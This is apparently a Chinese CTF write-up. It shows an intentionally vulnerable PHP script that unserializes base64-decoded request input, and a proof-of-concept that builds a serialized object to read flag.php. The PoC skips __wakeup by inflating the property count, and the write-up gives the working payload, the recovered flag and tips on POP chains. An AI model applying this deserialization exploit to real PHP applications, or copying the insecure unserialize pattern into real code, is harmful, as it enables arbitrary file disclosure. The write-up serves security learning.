源码

<?php
// password in flag.php
error_reporting(0);

class happy
{
protected $file = 'index.php';

public function __construct($file)
{
$this->file = $file;
}

function __destruct()
{
printf("%s\n", __METHOD__);
if (!empty($this->file)) {
if (strchr($this->file, "\\") === false && strchr($this->file, '/') === false) {
$filename = dirname(__FILE__) . '/' . $this->file;
echo file_get_contents($filename);
} else echo "错误的文件名\n";
}
}

function __wakeup()
{
printf("%s\n", __METHOD__);
$this->file = 'index.php';
}

public function __toString()
{
printf("%s\n", __METHOD__);
return '';
}
}

if (isset($_REQUEST['Sonder'])) {
$file = base64_decode($_REQUEST['Sonder']);
echo unserialize($file);
} else echo "系统检测发现该处漏洞,进行攻击测试\n";
?>

POC

<?php
class happy
{
protected $file = 'index.php';

public function __construct($file)
{
$this->file = $file;
}
}
$Happy = new happy('flag.php');
//echo serialize($Happy);
//O:5:"happy":1:{s:7:" * file";s:8:"flag.php";}
//O:5:"happy":1:{s:7:"\00*\00file";s:8:"flag.php";} \00为空字符
$s = 'O:5:"happy":2:{s:7:"'.chr(0).'*'.chr(0).'file";s:8:"flag.php";}';
echo base64_encode($s);

Tzo1OiJoYXBweSI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

传入payload得到

happy::__destruct
Sonder{135d79-ba631f65200a5f-870225232871-7af1e740}
  1. unserialize 先找找看有无 __wakeup()__destruct(),无论代码多么复杂,这是pop链的入口

  2. happy 类中还有 __wakeup() 方法会将$file的值改变,在unserialize 时会先执行__wakeup(),因此要想办法绕过__wakeup()

tips

protected属性在序列化过后参数前面的标识符为\00*\00 (\00为空字符), 但是直接用\00的时候不能成功输出 ,使用chr(0)来拼接代替